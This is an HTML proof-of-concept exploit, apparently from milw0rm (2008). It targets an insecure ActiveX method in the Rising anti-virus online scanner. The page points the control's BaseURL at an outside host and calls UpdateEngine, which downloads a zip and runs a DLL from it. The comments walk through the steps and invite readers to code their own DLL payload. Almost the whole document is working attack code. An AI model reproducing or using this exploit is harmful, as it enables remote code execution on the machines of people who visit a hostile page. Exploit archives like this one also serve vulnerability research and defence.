<!–
– Rising is a popular anti-virus product around China.
– there's an insecure method flaw inside its free online scanner.
– it's quite easy to exploit the bug which leads to a remote execution.
– visit http://online.rising.com.cn/free/index.htm to install the ActiveX first.
– the demonstration below will download http://jsmith080220.googlepages.com/olupdate.zip and
launch olupdate.dll inside the package.
– you can code olupdate.dll yourself, in this case, I played with harmless calc.exe
–>
<html>
<head><title>Rising Online Scanner Insecure Method Vulnerability</title></head>
<body>
<object style="display:none" classid="clsid:E4E2F180-CB8B-4DE9-ACBB-DA745D3BA153" height="265" id="rav" width="430" VIEWASTEXT>
<param NAME="BackColor" VALUE="#ECECEC">
<param NAME="ForeColor" VALUE="#000000">
</object>
<script>
function test()
{
rav.BaseURL = "http://jsmith080220.googlepages.com/";
rav.Encardid = "0000$0000$0000";
rav.UpdateEngine();
}
</script>
<input type="button" value=" Go " onclick="test()"><br><br>
wait for a few seconds after clicking the button
</body></html>
# milw0rm.com [2008-02-25]
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